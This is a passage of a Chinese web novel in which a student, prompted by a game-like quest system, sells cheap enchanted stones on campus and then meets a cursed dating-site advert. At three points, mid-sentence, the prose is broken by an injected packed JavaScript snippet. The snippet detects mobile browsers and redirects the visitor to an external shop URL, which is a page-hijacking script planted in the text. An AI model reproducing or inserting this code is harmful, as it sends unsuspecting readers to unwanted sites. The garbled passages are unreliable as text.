除此之外，她的腹部多出道马甲线，手臂出现明显的肌肉线条，举手投足间，多了几分干脆利落。 如果再次下矿，她不会因徒手攀岩而感到十分疲惫，也不会击杀安全级污染物就消耗大半体能。 短短一个多月，体能和格斗训练已初见成效。 欣赏了一会儿自己的马甲线，游迁放下衣摆，打开通讯器，思考起校内卖货的可行性。 卖货这事要从系统任务说起。 主线任务二结束，系统迟迟没有发布主线任务三。 游迁询问原因，系统给出的答复是她完成任务的速度过快，导致主线任务二完成后，还未到达主线任务三发布的时点，产生了任务空窗期。 【但请宿主放心，在主线任务三发布前，系统会陆续发布支线任务，提升您的实力。让您更好地应对后续任务】 游迁品了品，沉默了。 这不就是主线任务卡等级，她得升级才能解锁后续任务吗？ ……如果她所在的世界是个游戏，那玩家肯定会骂狗公司狗策划。 游迁在心里骂了几句无良系统，照例向系统索赔。 只是这次，系统学精了，委婉表示下次的支线任务难度偏低，然后就是一套节能关机组合拳，在她的脑子里装死。 直到今天，周日，凌晨四点半。 沉寂已久的系统突然诈尸，吵醒难得睡懒觉的游迁，发布支线任务。 【触发支线任务第一桶金】 【支线任务名称第一桶金 任务介绍：有了员工，或许您该考虑开门做生意的事了。请于任务期限内，完成300次交易，将产品以原材料十倍的价格售出。 任务限期：5天 任务奖励：新员工】 “系统，你要不要看看现在几点？” 【如果吵醒您了，系统对此表示歉意。研究表明，回笼觉有益于身体健康，宿主您可以接着睡】 游迁嘴微张。 【但赔偿是不会有的，还请见谅】 游迁白眼：“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533957|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还是关机吧。” 回笼觉是不可能睡的，游迁伸懒腰起床，去洗了把脸，思考她该卖什么产品，才能让人愿意用十倍的价格购买。 很快，她想到，自己可以用异能或欲望之花，制作产品进行售卖。 游迁细数起她在这方面的竞争优势。 首先，这类产品市场存在准入门槛，想要分一杯羹，必须拉拢异能者或者拥有污染物品，确保团队能够顺利生产出这类带有奇特功效的产品。有了这个条件，就可以间接排除了一大批竞争对手。 其次，她身处于联邦大学，除去异能者学院，别的学院也有不少异能者，客户群体有了。再加上这些天加的各种群聊，销售渠道也有了。 唯一要解决的，就是商品问题。 遗憾的是，她的异能都不太适合拿来制作产品，不能分离使用。 实际上，比起她的异能，欲望之花“支付欲望，快速治疗”的功能很适合被售卖。 游迁擦干净脸上的水，正视镜中的自己。为避免衣服被打湿，她将长袖挽起，小臂暴露在空气中。 心念一动，幽蓝的花朵纹路于右臂浮现，枝叶懒洋洋地冒出头，勾上游迁的指节，枝头颤动，和自家老板打了个招呼。 无情的老板不予理睬，狠心地揪下一片花叶，放在手心打量。 欲望之花和她签订合同后，它带有的污染特性就像消失了一样，无法被机器检测。游迁在管理局隔离的时候，就尝试着把欲望之花放出一部分，管理局的污染度监测系统没有丝毫反应。 也就是说，它可以被伪装成自己的异能，进行售卖。 游迁将花叶捏碎，产生的汁液滴到她随手捡来的石头上。 如果将欲望之花作为产品生产的原材料，游迁不希望以“快速治疗”为卖点，而是想“支付欲望”这个代价进行一番包装，作为产品售卖。 “快速治疗”这个功能是好，但学院有免费的医务室，也有售卖诺亚生物出品的快速治疗针剂。 就算游迁可以通过拉低价为自己创造竞争优势，学生们也不愿意买。 学生能用到治疗针剂的是什么场景？ 除了外出实习时遇到污染物，意外受伤无法立刻去医疗室救治，游迁想不到别的需要快速治疗的情况。 这种性命攸关的情况下，正常人都会选择价格稍贵但质量有保障的治疗针剂，而非三无小作坊生产的便宜货。 相比之下，“支付欲望”就很适合被打包出售了。 游迁把滴有欲望之花汁液的石头抛到半空，于心中默念。 “支付我吃饭的欲望，恢复我的身体状态。” 微弱的蓝光在石头上闪过，游迁感受到自己清醒了些，困意消减了三分。 同时，刚起床时的空腹感消失，她忽然觉得等中午再喝营养液也行。 石头落回手心，游迁再次许愿，但这次，愿望并未被实现，她提出的代价也没被取走。 看来一片叶子只能制造出一次性产品，这正合她意。 游迁要的不是能被反复使用的产品，而是这种用过即坏的小物件，这样才能促使顾客买过一次后再买，她也能借机多刷点交易次数。 敲定好商品，就等第一位冤种购买。 至于这位冤种……游迁心里早有人选，她打开通讯器，飞速编辑好卖惨文案，点击发送。 17.校园生活（三） 脱贫致富：学姐，咱们社团……能退社吗？ 旧历研究社社长：！ 旧历研究社社长：是有什么事吗？ 联邦大学自习室，趴在桌上的奥莉维亚突然抬起头，脸色严肃地望着半空中的虚拟屏幕。 奥莉维亚的朋友吓了一跳：“出什么事了？” “我开学好不容易薅来的学妹说要退社。”奥莉维亚愁闷地吹开贴在脸上的金色发丝，“你知道的，旧历研究社本来就没多少人，要是再有人退社，社团人数不足十人，下学期想重新申请成立社团就更难了。” 嗨，还以为是什么事。 朋友伸懒腰：“这事好办，你问问她退社的原因，咱再开点条件，把人留住。” “我也是这么想的。” 奥莉维亚望着聊天框，这位学妹似乎很纠结，聊天框顶部的“正在输入中”时有时无，似乎在斟酌着什么。 旧历研究社社长：如果有什么为难的地方都可以跟我说，我们旧历研究社珍惜每一位社员，还是希望你能留在我们社团。 朋友看见奥莉维亚的通讯器不断闪烁，估计正在劝说那位想要退社的学妹。奥莉维亚神情认真，墨绿的眼眸专注地盯着半空，如果忽略掉她下巴上谁出来的红印子，倒真有靠谱贴心学姐的气质。 朋友兀自摇头，要是奥莉维亚把花在旧历研究社上的时间匀一点到期中作业和期中考试上，她现在也不用跟自己一起，苦哈哈地泡在自习室里学习。 另一边，学妹几经犹豫，发来消息。 脱贫致富：学姐，其实我也很喜欢旧历研究社，但是我这边……经济状况不太好，之前一直靠帮人推销出售异能衍生品赚取生活费，维持开支。 脱贫致富：但这个月我业绩没达标，可能要换份兼职了。你知道的……学校课程安排紧，我只能占用周六社团活动的时间和周日的假期。 脱贫致富：非常抱歉（鞠躬） 奥莉维亚墨绿色的眼眸中滑过几分同情，她停顿片刻，回复。 旧历研究社社长：不用感到抱歉，我们来想想办法。你这个月业绩还差多少？ 脱贫致富：差的有点多…… 脱贫致富：【图片】 脱贫致富：这个异能衍生品长得确实不太可靠，没什么人买也正常。 旧历研究社社长：它功能是什么？ 脱贫致富：这个异能衍生品可以消除人的杂念，顺带恢复状态。在心底默念“我交出某项欲望，恢复状态”，使用该异能衍生品。 脱贫致富：学姐你要试试看吗？反正这份兼职我干完这个月就不干了，手头还有几份异能衍生品没卖出去，我可以送你一份。 旧历研究社社长：！ 旧历研究社社长：这怎么好意思……异能衍生品都不便宜，你送我了这个月工资要被扣好多。 脱贫致富：没事的，我手里的这几份是一次性产品，那边要求的售价是30联邦币，员工内部价是10联邦币，我还是负担得起的。 脱贫致富：【图片】 脱贫致富：学姐我接下来还有兼职，东西我放异能者学院大楼二楼空教室了，你要是感兴趣的话，随时来拿。 异能者学院二楼空教室离自习室很近，奥莉维亚搓搓脸，跟朋友简单说了声，让他帮忙占座，接着起身去游迁说的空教室，没一会儿就拿到了后者说的异能衍生品，一块画有叶片图案的石块。 不想复习的朋友凑上来：“这就是你学妹推销的异能衍生品？” 他在心里嘀咕，长得……确实不像能卖出去的样子。 奥莉维亚嗯声，她没好意思占学妹便宜，还是给游迁转了三十联邦币过去。 脱贫致富：【天哪】 脱贫致富：谢谢学姐！ 脱贫致富：【转账】 脱贫致富：三十还是太多了，学姐愿意照顾我生意我真的很感激了，学姐要是过意不去，按员工内部价来买就行，这个也可以算到我的业绩里。如果学姐觉得好用的话，也可以帮我宣传一下~ 旧历研究社社长：那就谢谢学妹的员工内部价了~ 奥莉维亚没在推脱，收下了游迁转回的二十联邦币。 闲着也是闲着，她暂时不想做课程作业，便低头捣腾起这块泛着淡蓝微光的石头。 “我交出玩乐偷懒闲聊的欲望，恢复状态。”奥莉维亚于心底默念。 其实，奥莉维亚没指望这块石头有什么作用，这个价格的异能衍生品，效果应该是微乎其微，只比心理安慰强点。 但真正使用后，奥莉维亚发现自己想错了。 心里的杂念被一扫而空，脑海中那点拖延的念头奇迹般消失了，她现在只想学习，想要快点完成她的课程作业。 老天奶！这东西居然真的有用！ 奥莉维亚迫不及待地想跟好友分享这奇特的体验，可下一秒，她聊天的欲望被消除了，整个人呆滞了一瞬，转而投入到课业之中。 效果真不错。 奥莉维亚一面感慨，一面快马加鞭地写作业。 这种状态一直持续到下午三点，她感到饥饿，异能衍生品的效果随之消散。 奥莉维亚伸懒腰，活动自己连坐几小时、已经有些僵硬的身体。 她发誓，今天绝对是她入学后学习效率最高的一天，半天就学了平时两天的量。 奥莉维亚心潮澎湃地进入社交软件的图文编辑页面。她是那种喜欢分享日常的家伙，今天难得用工，可不得好好记录一下。 好生吹嘘了自己今天的勤劳刻苦后，奥莉维亚也没忘记学妹，打量着文案，修改了分享文案的开头和结尾，对学妹的产品进行了一番宣传。 做完这些事，奥莉维亚总算想起努力学习时忘记的事——向朋友安利这个产品。 她打着哈欠，扭头，正想说什么，却撞见朋友高举一个丑兮兮的娃娃，满脸警惕地看着她。 奥莉维亚：？？？ 朋友：“说出你最讨厌的老师，以及你讨厌她的原因。” “槿槐安，因为她挂了我三次。”奥莉维亚用指尖推开娃娃，“怎么了？突然拿你家祖传的污染物品对着我。” 朋友收回传家宝，无奈道：“异能在上，我认识你三年了，还是第一次见你这么认真地学习，以往周日这个时候，你不是在食堂，就是在寝室或者自习室睡觉。” 奥莉维亚眨眼，她拨开当时先的碎发，不可置信道：“在你心中我就是这个形象吗？！” “嗯。话又说回来，你刚刚是怎么了？”朋友偷偷转移话题。 “哦，这得多亏了学妹卖我的异能衍生品，它比我想象的有用多了。” 奥莉维亚绘声绘色地讲起她刚刚的体验。 听完后，朋友目瞪口呆：“这么有用，就卖十联邦币！” “这是一次性的，而且十联邦币是学妹给我的友情价。” 奥莉维亚扬起头，想要继续炫耀她结交的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537530|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位人美心善的学妹，朋友却突然攥住她的手，表情无比诚恳。 “带我去找那位学妹！我的期中成绩全靠这个异能衍生品了。” “好好好，我等会儿联系学妹。” 奥莉维亚给游迁发消息，很快得到了回复。 “学妹那边还在兼职，我们想买的话，可以后天晚上去刚刚那间没人的空教室找她。” 朋友点头，他虽然急着复习，但也没有这么急，今天给自己放一天假好了。 两个人就这样等到后天晚上，慢悠悠地走到异能者学院大楼二楼。 然后傻了眼。 “什么情况？我记错教室了？” 只见约好见面的教室人满为患，不断有人进出，谈话声从窗内飘出，完全不像没人的样子。 “你好，请问这间教室晚上有课吗？还是被临时用作学生活动了？” 奥莉维亚抓住一个路人询问。 “都不是，里面在卖校园墙上很火的异能衍生品，听说对考试有用，价格也实惠，三十联邦币一个，你们也可以买几个试试。” 异能衍生品，三十联邦币一份，听着怎么有点耳熟…… 奥莉维亚揪了会儿自己的耳朵，还是决定进去看看，挤开来往的人群，钻到教室内。 “奥莉维亚，我！你忘了我！”朋友在后面叫喊。 哦对，差点忘了今天是带朋友来买异能衍生品的。 奥莉维亚抓住朋友的手，带着他继续往里挤，后者猝不及防地被拽住，踉踉跄跄地往前走，差点撞到人。 挤开卷心菜菜叶般层层包裹的人群，奥莉维亚终于见到了售卖商品的人，那人坐在桌后，两边的课桌上堆着画有符号的石头。 石头和排队的顾客挡住了奥莉维亚的视线，奥莉维亚伸长脖子，不断变换身位，总算看到了卖家的真面目。 黑发黑眸，发尾过肩，明明是明媚的长相，笑起来却有几分不怀好意。 还是想把手放你钱包里取暖的不怀好意。 “怎么样，是卖你东西的那位学妹吗？”朋友询问的声音从身后传来。 “你等等，我回忆一下。” 才开学一个多月，她们旧历研究社统共也没进行几次活动，脸记不住很正常。再加上她记得那位学妹加社团时，面相挺纯良（好骗）的，眼前这位……气质差的有点多。 奥莉维亚一边安慰自己，一边心虚地点开通讯器，试图从那个名为“脱贫致富”的账号里，找出几张个人生活照进行比对。 还没比对出什么结果，奥莉维亚先一步被人认出。 “学姐你来买东西啦！还好还好，我这边给你留了几份。”游迁从石头间抬起头，一眼找出了人堆里的奥莉维亚。 看来没走错地方。 奥莉维亚把认不出人的那点尴尬抛到脑后：“学妹误会啦，我这次是陪朋友来买的。” 奥莉维亚往后一拽，拽出个身高近乎两米、棕褐色短发、蓝眼睛的男人。被拽出来的时候，男人表情还有些呆愣。 “这是我朋友约瑟夫，我这次是陪他来买的。”奥莉维亚压低声音说，“正常价卖他就行。” “好的，但学姐，这几份产品你真的要收下，这次产品大卖，还多亏了你的宣传。” 奥莉维亚一脸茫然，她宣传什么了？ 游迁把石头塞到奥莉维亚手里：“你发在社交软件上的文案被人转发到校园墙了。” “啊？” 18.校园生活（四） 最开始，游迁把商品卖给奥莉维亚有两个目的。 一是为了检验，十联邦币出售产品能否满足以十倍价格出售的要求。 游迁制作这个产品的成本近乎为零，石头是学校里捡的，上面的符号是自己画的，让普通石头变成异能衍生品的汁液是从员工身上挤的。 前两者好说，她唯一拿不准的就是欲望之花的汁液，担心系统会给欲望之花的汁液额外定价。 好在是她多虑了，就算是十联邦币售出的商品，也符合系统的标准。 另一个目的则是为了推销，游迁平时就下意识地打探身边人的信息。她了解到奥莉维亚不仅是旧历研究社的社长，还参加过多个社团，交友广泛，是帮她宣传商品的不二人选。 游迁预想的是奥莉维亚在用过产品后，通过社交软件推荐身边的人购买。但这个过程不知道哪里出了偏差，奥莉维亚的文案被人转发到了校园墙。 宣传效果远超想象。 总之……感谢联邦大学的高挂科率，感谢每逢期中和期末自习室刷新出的一大批愁眉苦脸的学生。 要不是她们妄图通过几天时间，汲取半学期的知识，补完堆积许久的作业，这产品绝不会这么好卖。 想到这，游迁脸上的笑容都灿烂了几分。 “总之，学姐你一定要收下，你可是大功臣。” “啊，好，谢谢。” 奥莉维亚现在满脑子是那个校园墙，既然那个贴子火了，她的社交帐号会不会多几个粉丝呢…… 要是再多一点人关注，她是不是可以借机宣传一波旧历研究社，薅几个社员过来。 回去得看看。 游迁不知道奥莉维亚的心思。系统任务今晚就能完成，校园墙上的贴子她稍后就会联系人删除。 严格意义上，她现在属于无证出售异能衍生品。 联邦法律规定，个人未经许可，禁止售卖与污染、异能有关的任何产品。 可有原则就有例外，联邦并不反对异能者将自己的异能衍生品售卖给别的异能者。 从行政条例和各类案件的处罚结果看，异能者即使被发现无证售卖异能副产品，也可以通过事后补证来确保自身销售行为的合法性。 游迁想过，如果她日后还想售卖这类异能衍生品，可以补证经营。 但就目前而言，她不想暴露自己有除控制之外异能的事实。虽说被联邦有关部门找上门是迟早的事，但还是能晚一点是一点。 卖完今晚最后一份商品，游迁满足地瘫在座椅上，欣赏自己的账户新进账。 系统那边也传来支线任务已完成的提示音： 【恭喜您完成支线任务】 【正在招聘新员工，本次支线任务奖励将于72小时后发放】 游迁无视提示音，打开主线任务界面，使劲往下滑，新的主线任务还是没有加载出来。 ……算了，她今天心情好，这事不急，明天再去质问系统也来得及。 时间不早了，游迁收拾好个人物品，把空教室内的桌椅复原，往宿舍走。 明月高悬，楼道空无一人，游迁慢步走着，享受难得的宁静。 学校不在矿区，靠近联邦内城区，这里没有飞扬的尘土，没有矿工服沾染的汗臭，空气别样的清新。 上到宿舍楼梯口，静谧之中，游迁缓缓仰头。 有道黑影站在她房门口。 是吴瑰，那名管理局实习生。 游迁第一反应是自己无证经营被抓了，心虚地四下张望，没看见其他执法人员。 那她来做什么？ 游迁放轻脚步，猫腰躲到楼梯拐弯处，戒备地打量这位邻居。 吴瑰身穿联邦大学训练服，应该是刚下训，还没来得及换。吴瑰耳边没有别管理局的耳麦，手上拎着个方盒子，不像是发现她无证经营，找她兴师问罪的。 游迁挺直腰背，佯作毫无察觉，泰然地走到自己房间门口。 “吴瑰，这么晚了，你找我有什么事吗？” 吴瑰把方盒子给她： “我这边买了蛋糕，分你一块。” 盒内是块小巧的三角状奶油蛋糕，顶端坠着焦糖饼干。 “今天是你生日？” “不是啊。”吴瑰耸肩，疑惑道，“为什么这么问？” 这个世界也曾有用蛋糕庆祝生日的习惯，但灾变降临后，现实物质资料匮乏，某些习俗也一并丢失。 游迁在心底轻叹。 “听说旧历人会在生日时吃蛋糕，以示庆祝。” “这样，有趣的习俗。” 吴瑰眉眼弯弯，转而说起别的： “快尝尝，这块蛋糕是我找校外一家很火的甜品店定的。她们家可难定了，我加了她们的客户群，蹲点抢到的……谢谢你上次救我。” 游迁微怔，没想到吴瑰还记得那回事。 “没事。这蛋糕还挺漂亮的。” 吴瑰松了口气：“那就好。你吃完如果还想买的话就跟我说，我把群链接发你。直接搜她们家店铺的话，容易跳出些奇奇怪怪的广告。” 最近广告是有点多。 游迁：“这种无良广告不归管理局管吗？” “上升到污染物层面，管理局才会插手，这种不归我们管。” “这样啊。” 游迁点点头，把广告的事抛到脑后。 两人都以为广告徒然增多只是生活中的一个小插曲。 却没想到，这件事最后真的恶化到了需要管理局插手的地步。 * “广告真是越来越多了，特别是那个相亲网站的广告。” “是啊，我有天点入课程交流群，里面都有人在乱发广告链接。真搞不懂投放广告的人怎么想的，群里都是学生，投放相亲广告干什么？” “真是钱多了没地方花，那相亲网站的广告就跟病毒似的，有的时候会自动播放。” 课间，同学们正在讨论群聊内的相亲广告，游迁坐在座位上，跟关花开发消息。 游迁还在管理局上培训课的时候，花钱让关花开帮忙留意云山赌场追债人的动向，关花开每周都会汇报赌场内追债人的情况。 这次，出了点情况。 关花开：游老板，之前您让我重点留意的追债人离职了。 脱贫致富：你说齐三喜？ 关花开：对，我听人说她没完成业绩，赌场老板不高兴，就把她给开了。 因为追债业绩没达标，所以被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539584|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开除了？ 游迁觉得有些蹊跷，毕竟齐三喜听到自己不会还钱时，也没什么太大的反应，只是口头劝解自己早日还钱，追债业绩没达标，后果应该没那么严重。 云山赌场在做人体实验，拿人来试药，齐三喜对此知情，赌场不把齐三喜关起来就不错了，怎么会轻易“辞退”？ 脱贫致富：齐三喜现在人在哪？之后是谁替她的岗。 关花开：我问了其他追债人，她们也不知道，只说赌场员工有员工宿舍，那个姓齐的既然离职了，应该搬回家住了吧。 关花开：至于新的追债人，好像还没找着。游老板，我要去应聘试试吗？ 脱贫致富：不用了，这段时间的调查暂停。 脱贫致富：【转账】 脱贫致富：情报费和这个月的工资。 关花开：谢谢游老板【玫瑰】【玫瑰】【玫瑰】 消息栏突然跳出几条新通知，又是无关紧要的广告，游迁皱眉点开群聊，打算屏蔽群消息。 画面跳转群聊的那一刻，广告自动播放，占据整个虚拟屏幕。 “这相亲广告怎么这么烦？” 这类流氓广告的退出键总是很难找，一个不小心就会点击跳转。 游迁这边还在眯着眼找退出键，广告配乐已先行响起。 隆重的婚礼配乐响起，游迁皱眉，又去找静音图标。 婚礼进行曲中，两只交握的手出现在画面正中央。 手指与手指交错，涂了胶水般，密不可分。 画面被拉远，露出暗红色的地毯，手的主人正在往前走。 皮肤融化，融化产生的液体滴落，落在地毯上，绽放成艳红的花朵。 手与手长到一起，婚礼的主人公如胶似漆。 游迁放缓动作，明知广告不对劲，却还是不可避免地被它吸引。 大脑大喊着危险诡异，眼珠渴求地下移，黏到视频画面上。 这两个人会去到哪里？ 画面随着主人公移动，一直向前，两只手融化到一块儿，暗斑、褶皱爬上手背。 音乐变得激昂、庄重，像把小锤子，突突地敲击她的太阳穴。 要到了，就要到终点了…… 哪怕知道状态不对，她还是下意识感到雀跃。 镜头上挪，灰青替代暗红，成为画面的背景。 坟墓静候在这段路的终点。 已经合二为一的手抚上坟墓，弹去上面的石屑。 眼泪汇聚在游迁的眼眶，该死的，这广告绝对有问题。 趋利避害的本能和继续看下去的欲望在她脑中来回拉扯，眼泪汇聚，砸落在桌面。 粉尘飞扬，玉白的人骨从坟墓中长出，它没有沾染任何泥土，仿佛这场婚礼的证婚人，散发着柔和、祝福的光彩。 人骨拽住异变的手，拽住的瞬间，手飞快地腐烂，脱去腐臭生毛的皮，变成森森白骨。 皮肉负累被脱去，手主人们完成了俗世的任务，血水柔顺滑落。 它们不再有表情，骨骼在微笑。 不多时，一对骷髅摔入墓中，音乐声止。 “是否进入网站？” 画面中心被淡粉的按钮替代。 【是/是】